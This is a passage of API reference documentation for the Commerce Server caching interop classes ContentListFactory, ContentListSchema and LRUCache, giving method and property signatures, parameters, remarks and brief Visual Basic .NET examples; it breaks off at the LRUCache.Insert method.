Use this object to efficiently maintain lists of content items that compete with each other to be selected for display on a Web page by a Content Selection pipeline (CSP).

Methods

Method | Description
BuildIndex | Builds an index on the specified column.
ConstructFromRecordset | Initializes a ContentListFactory object, and creates and initializes a new ContentListSchema object, from an ADODB26Lib.Recordset object. The ContentListFactory object is populated with the data from the ADODB26Lib.Recordset object.
CreateNewContentList | Creates a new ContentList object based on the schema in use by this ContentListFactory object. The new ContentList object has access to the shared data in the ContentListFactory object that created it.
GetData | This method is not usable in Visual Basic .NET or C#.
Search | Returns a RowCollection object containing the collection of content items that match the search criteria.
SetData | This method is not usable in Visual Basic .NET or C#.

Properties

Property | Type | Description
AllRows | IRowCollection | Stores the collection of all rows in the ContentListFactory object. This property is read-only.
Count | Integer | Stores the number of rows in the ContentListFactory object. This property is read/write.
Fields | ADODB26Lib.Fields | Stores the Fields collection for a particular row in the ContentListFactory object. This property is read-only.
Schema | IContentListSchema | Stores a reference to the ContentListSchema object used by this ContentListFactory object. This property is read/write.

Remarks

The ContentList and the ContentListFactory objects are designed to be run in-process with their clients. Both the ContentList object and the ContentListFactory object implement a common interface, IDataContainer. Therefore, they share the following methods and properties, which are functionally identical on both objects:

Properties:

  • AllRows
  • Count
  • Fields

Methods:

  • BuildIndex
  • Search

Both objects also expose the IDataContainer interface methods GetData and SetData. These are not intended for use with C#. Use the get_Fields method instead.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)


ContentListFactory Methods (PIA)

Methods

Method | Description
BuildIndex | Builds an index on the specified column.
ConstructFromRecordset | Initializes a ContentListFactory object, and creates and initializes a new ContentListSchema object, from an ADODB26Lib.Recordset object. The ContentListFactory object is populated with the data from the ADODB26Lib.Recordset object.
CreateNewContentList | Creates a new ContentList object based on the schema in use by this ContentListFactory object. The new ContentList object has access to the shared data in the ContentListFactory object that created it.
GetData | This method is not usable in Visual Basic .NET or C#.
Search | Returns a RowCollection object containing the collection of content items that match the search criteria.
SetData | This method is not usable in Visual Basic .NET or C#.


ContentListFactory.BuildIndex Method (PIA)

Use this method to build an index for a specific column in a ContentListFactory object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Sub BuildIndex(
 vCol As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public void BuildIndex(
 object vCol
);

Parameters

[Visual Basic .NET]
vCol
An Object that identifies the column for which the index will be built. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
[C#]
vCol
An object that identifies the column for which the index will be built. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following COM exception has a special meaning in this method:

S_FALSE
An index already exists on the column.

Remarks

An index can be built on any read-only, non-private column that is of type string, integer, or array of strings or integers (CLCOL_READONLY and not CLCOL_PRIVATE). Also, only columns of type CLCOL_I2, CLCOL_I4, CLCOL_STRING, and CLCOL_VARIANTARRAY can be indexed.

If a search is conducted on a column for which no index yet exists, the index is automatically created. This means that, though you are never required to call the BuildIndex method, you may want to incur the cost of creating the index at a known time for performance sake.

This method is functionally identical to the one of the same name to be found in the ContentList object.

[Visual Basic .NET]

Example

myContentListFactory.BuildIndex("AdType")

See Also

ContentListFactory Class


ContentListFactory.ConstructFromRecordset Method (PIA)

Use this method to initialize a new ContentListFactory object, and create and initialize a new ContentListSchema object, from a Recordset object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
Imports ADODB26Lib     ‘ for _Recordset
…
Public Sub ConstructFromRecordset(
 Recordset As _Recordset,
 Optional ArrSkip As Object,
 Optional SchemaAdd As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Caching;
using ADODB26Lib;                              //For _Recordset
…
public void ConstructFromRecordset(
 _Recordset Recordset,
 object ArrSkip,
 object SchemaAdd
);

Parameters

[Visual Basic .NET]
Recordset
A reference to an object that implements the _Recordset interface from which the ContentList object will be constructed.
ArrSkip
An optional Object that is a SimpleList object. The SimpleList object contains the names of field(s) that exist in the Recordset object, but that should not have a column in the new ContentList object.
Add
An optional reference to an Object that is a ContentListSchema object that contains information about additional columns or new flags for existing columns that should be accounted for when the new ContentList object is created. Refer to the Remarks section for additional information.
[C#]
Recordset
A _Recordset interface to an ADO Recordset object from which the ContentList object will be constructed.
ArrSkip
An object that is a SimpleList object. The SimpleList object contains the names of field(s) that exist in the Recordset object but that should not have a column in the new ContentList object. To omit this optional parameter, set to Type.Missing.
Add
An IContentListSchema interface of a ContentListSchema object that contains information about additional columns or new flags for existing columns that should be accounted for when the new ContentList object is created. Refer to the Remarks section for additional information. To omit this optional parameter, set to Type.Missing.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[Visual Basic .NET] The Skip and Add parameters are both optional.

[C#] Values for the Skip and Add parameters are both optional, but at least one parameter must be passed. Pass Type.Missing to omit processing these parameters.

Columns defined in the ContentListSchema object that do not exist in the Recordset object are added to the new schema for the ContentListFactory object. Schema columns defined in both the ContentListSchema object and in the Recordset object get their flag settings from the former object, overriding the default flag settings otherwise applied. Supplemental columns may be either shared or private. Data for any supplemental, shared columns should be initialized using the SetData method. Data for any supplemental, private columns cannot be provided until a corresponding ContentList object is created.

The ContentListFactory object attempts to access the RecordCount property of the RecordSet object to determine how many rows of data for which space should be allocated. Not all types of RecordSet objects support this. If the RecordCount property cannot be determined, the ContentListFactory object will grow the factory in chunks of 100 rows. For this reason, it is most efficient to pass a RecordSet object for which the RecordCount property is defined.

Column types are mapped from the Recordset object according to the following table.

ADO Type | ContentList Type
adSmallInt, adUnsignedSmallInt | CLCOL_I2
adInteger, adUnsignedInt, adError | CLCOL_I4
adSingle | CLCOL_I4
adDouble | CLCOL_R8
adDBDate, adDBTime, adDBTimeStamp | CLCOL_DATE
adChar, adVarChar, adLongVarChar, adWChar, adVarWChar, adLongVarWChar | CLCOL_STRING
adChapter*, adDispatch | CLCOL_DISPATCH
adChapter | CLCOL_UNKNOWN
adBoolean | CLCOL_BOOL

Note

  • *One level of hierarchical Recordset objects are supported. The child Recordset objects are created in the ContentList object as a SimpleList of Dictionary objects.
[Visual Basic .NET]

Example

'rsSource is an existing recordset.
'vSkip is a simple list of fields to ignore.
'vSchema is a ContentListSchema object.
myContentListFactory.ConstructFromRecordset(rsSource, vSkip, vSchema)

See Also

ContentListFactory Class


ContentListFactory.CreateNewContentList Method (PIA)

Use this method to create a new ContentList object based on the schema established for this ContentListFactory object. The new ContentList object provides a unified interface to the private data that it stores and to the shared data stored in the ContentListFactory object (that created it).

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Function CreateNewContentList() As IContentList
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public IContentList CreateNewContentList();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a reference to an object that implements the IContentList interface.

[C#] This method returns an IContentList interface to a new ContentList object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The new ContentList object will be based on the established schema for this ContentListFactory object. Storage for columns marked as CLCOL_PRIVATE in the schema is allocated in the ContentList object. The ContentList object maintains a pointer back to the factory that created it, which is where the storage for "shared" columns is maintained.

A ContentList object cannot exist independently of a ContentListFactory object.

The only prerequisite for calling this method is that a schema must be established. This can be accomplished by setting the Schema property or by calling the ConstructFromRecordset method.

[Visual Basic .NET]

Example

oMyContentList = myContentListFactory.CreateNewContentList()

See Also

ContentListFactory Class


ContentListFactory.GetData Method (PIA)

[Visual Basic .NET] Due to performance considerations, this method is not intended for use from Visual Basic .NET.

[C#] Due to performance considerations, this method is not intended for use from Visual C#.

See Also

ContentListFactory Class


ContentListFactory.Search Method (PIA)

Use this method to create a RowCollection object that allows access to each item in the ContentListFactory object that matches the specified criterion.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Function Search(
 vCol As Object,
 vSearchCriteria As Object
) As IRowCollection
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public IRowCollection Search(
 object vCol,
 object vSearchCriteria
);

Parameters

[Visual Basic .NET]
vCol
An Object that identifies the column to search. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
vSearchCriteria
An Object that contains the filter criterion. The criterion is usually a String, an array of Strings, or an Integer. An attempt will be made to coerce other types to the type of the column being searched.
[C#]
vCol
An object that identifies the column to search. The column is identified by either a number representing a column position (starting at 0) or a string containing a column name.
vSearchCriteria
An object that contains the filter criterion. The criterion is usually a string, an array of strings, or an integer. An attempt will be made to coerce other types to the type of the column being searched.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a reference to a new object that implements the IRowCollection interface. The object contains one row for each matching item.

[C#] This method returns an IRowCollection interface pointer for a new RowCollection object that allows access to the rows that match the search criteria.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following COM exception has a special meaning in this method:

S_FALSE
No rows in the ContentListFactory object matched the filter criteria. As a result, the returned RowCollection is empty.

Remarks

Columns must be shared (not private) and read-only in order to be indexed and searched. Columns must also be of type string, integer (long or short), or variant array to be searchable. The search criteria may be any variant type that can be coerced to the type of the column being searched.

When the search criteria is an array of variants, the set of rows returned contains all rows that match any of the search criteria array elements. It is a union of the matches.

This method is functionally identical to the one of the same name to be found in the ContentList object.

[Visual Basic .NET]

Example

set oMyRowCollection = myDataContainer.Search("AdType", "CarAds")

See Also

ContentListFactory Class


ContentListFactory.SetData Method (PIA)

[Visual Basic .NET] Due to performance considerations, this method is not intended for use from Visual Basic .NET.

[C#] Due to performance considerations, this method is not intended for use from Visual C#.

See Also

ContentListFactory Class


ContentListFactory Properties (PIA)

Properties

Property | Type | Description
AllRows | IRowCollection | Stores the collection of all rows in the ContentListFactory object. This property is read-only.
Count | Integer | Stores the number of rows in the ContentListFactory object. This property is read/write.
Fields | ADODB26Lib.Fields | Stores the Fields collection for a particular row in the ContentListFactory object. This property is read-only.
Schema | IContentListSchema | Stores a reference to the ContentListSchema object used by this ContentListFactory object. This property is read/write.


ContentListFactory.AllRows Property (PIA)

The AllRows property returns a new RowCollection object that allows access to the items in the ContentListFactory object. The AllRows property is read-only; however, the RowCollection object is read/write in that changes made using this object are reflected in the ContentListFactory object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public ReadOnly Property AllRows As RowCollection
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public RowCollection AllRows {get;}

Property Value

The RowCollection interface of a RowCollection object that contains all of the items in this ContentListFactory object.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This property is functionally identical to the one of the same name in the ContentList object.

See Also

ContentListFactory Class

RowCollection Object


ContentListFactory.Count Property (PIA)

The Count property is a read/write Integer that gets or sets the number of content items in a ContentListFactory object.

Definition

[Visual Basic .NET]
Public Property Count As Integer
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public int Count{get; set;}

Property Value

An Integer that contains the item count.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Count property cannot be changed after ContentList objects have been created by the ContentListFactory object. Also, the Count property cannot be set to a smaller number than its current setting.

This property is functionally identical to the one of the same name to be found in the ContentList object.

See Also

ContentListFactory Class


ContentListFactory.Fields Property (PIA)

The Fields property creates a new Fields object that allows access to the fields for a specified content item. The Fields property is read-only; however, the Fields object is read/write in that changes made using this object are reflected in the ContentListFactory object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
Imports ADODB26Lib     ‘ for Fields
…
Public ReadOnly Property Fields(
 RowNum As Integer
) As Fields
[C#]
using Microsoft.CommerceServer.Interop.Caching;
using ADODB26Lib;                              //For _Fields
…
public Fields get_Fields(
 int RowNum
);

Parameters

[Visual Basic .NET]
RowNum
An Integer that contains the position of the item in the ContentListFactory object for which a Fields object will be returned. Positions are counted from 0, not from 1.
[C#]
RowNum
An int that contains the position of the item in the ContentListFactory object for which a Fields object will be returned. Positions are counted from 0, not from 1.

Return Values

This method return a Fields object.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Fields object exposes the same interface as the ADO Fields object.

This property is functionally identical to the one of the same name to be found in the ContentList object.

See Also

ContentListFactory Class


ContentListFactory.Schema Property (PIA)

The Schema property is a ContentListSchema object that contains the schema used by this ContentListFactory object. The Schema property is read/write.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property Schema As IContentListSchema
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public IContentListSchema Schema {get; set;}

Property Value

An IContentListSchema interface of the ContentListSchema object that contains the schema for this ContentListFactory object.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This property is intended to only be set once. However, until any ContentList object is created using the CreateNewContentList method, or until rows are allocated in the ContentListFactory object by setting the Count property, this property can be changed.

If this property is read before it is written, an empty ContentListSchema object will be created and returned.

See Also

ContentListFactory Class


ContentListSchema Class (PIA)

Use this object to manipulate the schema for a ContentListFactory object.

Methods

Method | Description
Add | Adds a new column to the schema.
FindColumn | Returns the position of a named column. Column positions are counted starting from zero (0), not one (1). This position index may be used as the Column index parameter for the GetData, SetData, Filter, and Search methods of the ContentList object.
GetSchema | Returns the entire schema in a high-performance, non-scriptable manner.
SetSchema | Sets the entire schema in a high-performance, non-scriptable manner.

Properties

Property | Type | Description
ColumnFlags | Integer | Stores the column flags, represented as a bit field. This property is read/write.
ColumnName | String | Stores the column name. This property is read/write.
ColumnType | ColumnTypeEnum | Stores the data type of the column. This property is read/write.
Count | Integer | Stores the number of columns defined by the schema. This property is read-only.
Locked | Boolean | Indicates whether this schema can be modified. This property is read/write. It is initially set to False. Once set to True, it can never be set back to False.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

Remarks

The object ContentListSchema exposes the methods GetSchema and SetSchema. However, these are not intended to be used with C#.


ContentListSchema Methods (PIA)

Methods

Method | Description
Add | Adds a new column to the schema.
FindColumn | Returns the position of a named column. Column positions are counted starting from zero (0), not one (1). This position index may be used as the Column index parameter for the GetData, SetData, Filter, and Search methods of the ContentList object.
GetSchema | Returns the entire schema in a high-performance, non-scriptable manner.
SetSchema | Sets the entire schema in a high-performance, non-scriptable manner.


ContentListSchema.Add Method (PIA)

Use this method to add a new column to a schema for use by a ContentListFactory object and its associated ContentList objects.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Sub Add(
 sName As String,
 Type As ColumnTypeEnum,
 Flags As Integer
)
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public void Add(
 string sName,
 ColumnTypeEnum Type,
 int Flags
);

Parameters

[Visual Basic .NET]
sName
A String that contains a name for the new column.
Type
A value from the ColumnTypeEnum enumeration. See the Remarks section for more details.
Flags
An Integer that contains the bit mask column flag settings for the new column.
[C#]
sName
A string that contains a name for the new column.
Type
A value from the ColumnTypeEnum enumeration. See the Remarks section for more details.
Flags
An int that contains the bit mask column flag settings for the new column.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Once the Locked property has been set to True, subsequent calls to this method will fail. The ContentListFactory object will set the Locked property of its ContentListSchema object to True when one of the following conditions is met:

  • Rows of data are allocated in the factory by setting the Count property or calling the ConstructFromRecordset method.
  • The ContentListFactory object has been used to construct one or more ContentList objects using the CreateNewContentList method.

The following table shows the values of the ColumnTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
CLCOL_I2 | 2 | A 16-bit integer. This value corresponds to the VARTYPE value VT_I2.
CLCOL_I4 | 3 | A 32-bit integer. This value corresponds to the VARTYPE value VT_I4.
CLCOL_R4 | 4 | A single precision floating point number. This value corresponds to the VARTYPE value VT_R4.
CLCOL_R8 | 5 | A double precision floating point number. This value corresponds to the VARTYPE value VT_R8.
CLCOL_CY | 6 | A 64-bit integer used to store a currency value. This value corresponds to the VARTYPE value VT_CY. Monetary values stored using this type are scaled by 10,000 (4 decimal places). For example, the value 86900 would correspond to a currency value of $8.69 in the US. This is also the same as the money datatype used by SQL7.
CLCOL_DATE | 7 | A double precision floating point number used to store a date/time value. This value corresponds to the VARTYPE value VT_DATE.
CLCOL_DISPATCH | 9 | A reference to an object that supports scripting/automation (inherits from IDispatch). This value corresponds to the VARTYPE value VT_DISPATCH.
CLCOL_BOOL | 11 | A boolean value. This value corresponds to the VARTYPE value VT_BOOL. Do not confuse this with the C++ type BOOL, which is 4 bytes.
CLCOL_UNKNOWN | 13 | A pointer to an IUnknown-based interface that, presumably, does not support scripting/automation (inherits from IUnknown). This value corresponds to the VARTYPE value VT_UNKNOWN.
CLCOL_STRING | 14 | A pointer to a string in the private heap maintained by every ContentListFactory object. There is no corresponding VARTYPE value.
CLCOL_VARIANTARRAY | 15 | A pointer to a SAFEARRAY. The corresponding variant type is VT_ARRAY or VT_VARIANT.

Note

  • With the exception of CLCOL_STRING and CLCOL_VARIANTARRAY, these types are identical to the corresponding VARTYPE and share the same constant value. They may be used as a VARTYPE.
[Visual Basic .NET]

Example

'"Color" is the column name.
'CLCOL_STRING indicates the column is of type String.
'0 indicates that no flags are applied.

myContentListSchema.Add("Color", CLCOL_STRING, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentListSchema Class


ContentListSchema.FindColumn Method (PIA)

Use this method to find the position of a column specified by name.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Function FindColumn(
 sName As String
) As Integer
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public int FindColumn(
 string sName
);

Parameters

[Visual Basic .NET]
sName
A String that contains the name of the column for which the position will be returned.
[C#]
sName
A string that contains the name of the column for which the position will be returned.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Integer that contains the position of the new column.

[C#] This method returns the position of the specified column.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Column positions are counted from zero (0), not one (1).

[Visual Basic .NET]

Example

'"Color" is the column name.
Dim iColumnNum as Integer
iColumnNum = myContentListSchema.FindColumn("Color")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentListSchema Class


ContentListSchema.GetSchema Method (PIA)

In the interest of high performance, this method is intended for use only with C++.

See Also

ContentListSchema Class


ContentListSchema.SetSchema Method (PIA)

In the interest of high performance, this method is intended for use only with C++.

See Also

ContentListSchema Class


ContentListSchema Properties (PIA)

Properties

Property | Type | Description
ColumnFlags | Integer | Stores the column flags, represented as a bit field. This property is read/write.
ColumnName | String | Stores the column name. This property is read/write.
ColumnType | ColumnTypeEnum | Stores the data type of the column. This property is read/write.
Count | Integer | Stores the number of columns defined by the schema. This property is read-only.
Locked | Boolean | Indicates whether this schema can be modified. This property is read/write. It is initially set to False. Once set to True, it can never be set back to False.


ContentListSchema.ColumnFlags Property (PIA)

The ColumnFlags property is a read/write Integer that contains the column flags.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property ColumnFlags(
 vColumn As Object
) As Integer
[C#]

Get method:

using Microsoft.CommerceServer.Interop.Caching;
…
public int get_ColumnFlags(
 object vColumn
);

Put method:

using Microsoft.CommerceServer.Interop.Caching;
…
public void set_ColumnFlags(
 object vColumn,
 int ColumnFlags
);

Parameters

[Visual Basic .NET]
vColumn
An Object that contains either the column name or the column position in order to identify the column in question. Column positions are counted from zero (0), not one (1).
[C#]
vColumn
A object that contains either the column name or the column position in order to identify the column in question. Column positions are counted from zero (0), not one (1).
ColumnFlags
When setting the property, an int that contains the new column flag settings, represented as a bit field.

Return Values

This property returns an Integer indicating the current column flag settings, represented as a bit field.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[C#] get_ColumnFlags does not show up in IntelliSense.

Column flags are represented as a bit field. The following table shows the meanings of the bits that are used and the constants provided for manipulating those bits.

Bit | Constant | Description
1 | CLCOL_READONLY (= 0x01) | When the bit is set, data in the column is read-only, and cannot be updated. This will be common for data stored in the ContentListFactory object since that data is shared between multiple page requests. When the bit is cleared, data in the column is read/write, and can be freely updated. No record locking is performed, so update contention could occur when updating data in the ContentListFactory object. This is not a concern for columns that are marked Private since they exist in the individual instances of ContentList objects, and ContentList objects are typically created for and used by a single thread.
2 | CLCOL_PRIVATE (= 0x02) | When the bit is set, the data in the column is private to each ContentList object based on this schema. This means that the data is stored separately in each ContentList object that is created, and not stored in the shared columns in the corresponding ContentListFactory object.
4 | CLCOL_SCORE_COLUMN (= 0x04) | When the bit is set it indicates that the data in this column is the score value associated with the content item. The type of this column must be a single-precision floating-point type (CLCOL_R4); only one column in the schema can have this flag set. Further, since a unique score value must be associated with each individual page request, this bit can only be set in conjunction with the CLCOL_PRIVATE bit. In other words, it must be a column stored in the ContentList object, as opposed to the ContentListFactory object, that is marked as the score column.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentListSchema Class


ContentListSchema.ColumnName Property (PIA)

The ColumnName property is a read/write String that contains the name of the column.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property ColumnName(
 vColumn As Object
) As String
[C#]

Get method:

using Microsoft.CommerceServer.Interop.Caching;
…
public string get_ColumnName(
 object vColumn
);

Put method:

using Microsoft.CommerceServer.Interop.Caching;
…
public void  set_ColumnName(
 object vColumn,
 string ColumnName
);

Parameters

[Visual Basic .NET]
vColumn
An Object that contains either the column name or the column position in order to identify the column in question. Column positions are counted from zero (0), not one (1).
[C#]
vColumn
An object that contains either the column name or the column position in order to identify the column in question. Column positions are counted from zero (0), not one (1).
ColumnName
When putting the property, a string that contains the new column name.

Return Values

When getting the property, returns a string containing the current column name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[C#] get_ColumnNames and set_ColumnNames do not show up in IntelliSense.

Though using a column name as the value of the vColumn parameter in order to retrieve that same column name may be fruitless, passing a column name does make sense when changing the column name.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentListSchema Class


ContentListSchema.ColumnType Property (PIA)

The ColumnType property is a read/write value from the ColumnTypeEnum enumeration, specifying the data type of the specified column.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property ColumnType(
 vColumn As Object
) As ColumnTypeEnum
[C#]

Get method:

using Microsoft.CommerceServer.Interop.Caching;
…
public ColumnTypeEnum get_ColumnType(
 object vColumn
);

Put method:

using Microsoft.CommerceServer.Interop.Caching;
…
public void  set_ColumnType(
 object vColumn,
 ColumnTypeEnum ColumnType
);

Parameters

[Visual Basic .NET]
vColumn
An Object that contains either the column name or the column position in order to identify the column in question. Column positions are counted from zero (0), not one (1).
[C#]
vColumn
An object that contains either the column name or the column position in order to identify the column in question. Column positions are counted from zero (0), not one (1).
ColumnType
When putting the property, a value from the ColumnTypeEnum enumeration. See the Remarks section for more details.

Return Values

This property returns a value from the ColumnTypeEnum enumeration.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[C#] get_ColumnType and set_ColumnType do not show up in IntelliSense.

The following table shows the values of the ColumnTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
CLCOL_I2 | 2 | A 16-bit integer. This value corresponds to the VARTYPE value VT_I2.
CLCOL_I4 | 3 | A 32-bit integer. This value corresponds to the VARTYPE value VT_I4.
CLCOL_R4 | 4 | A single precision floating point number. This value corresponds to the VARTYPE value VT_R4.
CLCOL_R8 | 5 | A double precision floating point number. This value corresponds to the VARTYPE value VT_R8.
CLCOL_CY | 6 | A 64-bit integer used to store a currency value. This value corresponds to the VARTYPE value VT_CY. Monetary values stored using this type are scaled by 10,000 (4 decimal places). For example, the value 86900 would correspond to a currency value of $8.69 in the US. This is also the same as the money datatype used by SQL7.
CLCOL_DATE | 7 | A double precision floating point number used to store a date/time value. This value corresponds to the VARTYPE value VT_DATE.
CLCOL_DISPATCH | 9 | A reference to an object that supports scripting/automation (inherits from IDispatch). This value corresponds to the VARTYPE value VT_DISPATCH.
CLCOL_BOOL | 11 | A boolean. This value corresponds to the VARTYPE value VT_BOOL. Do not confuse this with the C++ type BOOL, which is 4 bytes.
CLCOL_UNKNOWN | 13 | A pointer to an IUnknown-based interface that, presumably, does not support scripting/automation (inherits from IUnknown). This value corresponds to the VARTYPE value VT_UNKNOWN.
CLCOL_STRING | 14 | A pointer to a string in the private heap maintained by every ContentListFactory object. There is no corresponding VARTYPE value.
CLCOL_VARIANTARRAY | 15 | A pointer to a SAFEARRAY. The corresponding variant type is VT_ARRAY or VT_VARIANT.

Note

  • With the exception of CLCOL_STRING and CLCOL_VARIANTARRAY, these types are identical to the corresponding VARTYPE and share the same constant value. Indeed, they may be used as a VARTYPE.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentListSchema Class


ContentListSchema.Count Property (PIA)

The Count property is a read-only value that contains the current number of columns in the schema.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public ReadOnly Property Count As Integer
[C#]

Get method:

using Microsoft.CommerceServer.Interop.Caching;
…
public void Count {get;}

Property Value

The current number of columns in the schema.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentListSchema Class


ContentListSchema.Locked Property (PIA)

The Locked property is a read/write Boolean that indicates whether the ContentListSchema object can be modified. A value of True indicates that the schema is locked and cannot be modified. A value of False indicates that the schema is not locked and can be modified. Once the object is in use it can no longer be modified.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property Locked As Boolean
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public bool Locked {get; set; }

Property Value

A bool that specifies the schema lock setting. Since schemas, once locked, cannot be unlocked, only the first call to this property with the Locked parameter set to True will have any effect.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

A ContentListSchema object becomes permanently locked as soon as this property is set to true. Once locked, the contained schema cannot be modified or unlocked. ContentListFactory objects will lock the schema as soon as any rows are allocated or any ContentList objects are created, whichever occurs first.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentListSchema Class


LRUCache Class (PIA)

Use this object to support the creation, storage, and retrieval of name/value pairs, referred to as elements, from a cache in memory. The LRUCache object functions similarly to the Dictionary object, except that it only stores a limited number of elements, and internally ranks them according to use. When the cache is full and a new element needs to be added, the least recently used element is removed from the cache to make room for the new element.

Methods

Method | Description
Flush | Removes an element from the cache.
FlushAll | Removes all elements from the cache.
Insert | Inserts an element into the cache.
Lookup | Returns the value of an element in the cache when given the name of the element.
LookupObject | Returns an object in the cache when given the name of the object.
SetSize | Sets the maximum size of the cache.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)


LRUCache Methods (PIA)

Methods

Method | Description
Flush | Removes an element from the cache.
FlushAll | Removes all elements from the cache.
Insert | Inserts an element into the cache.
Lookup | Returns the value of an element in the cache when given the name of the element.
LookupObject | Returns an object in the cache when given the name of the object.
SetSize | Sets the maximum size of the cache.


LRUCache.Flush Method (PIA)

Use this method to remove the specified element from the cache.

Definition

[Visual Basic .NET]
Import Microsoft.CommerceServer.Interop.Caching
…
Public Sub Flush(
  Optional bstrKey As String
)
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public void Flush(
  string bstrKey
);

Parameters

[Visual Basic .NET]
bstrKey
An optional String that contains the name of the element to be removed from the cache.
[C#]
bstrKey
A string that contains the name of the element to be removed from the cache. Set to Type.Missing in order to not specify a name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

If no element is specified, all elements are removed.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class

LRUCache Class


LRUCache.FlushAll Method (PIA)

Use this method to remove all elements from the cache.

Definition

[Visual Basic .NET]
Import Microsoft.CommerceServer.Interop.Caching
…
Public Sub FlushAll()
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public void FlushAll();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class

LRUCache Class


LRUCache.Insert Method (PIA)

Use this method to add an element to the cache.

Definition

[Visual Basic .NET]
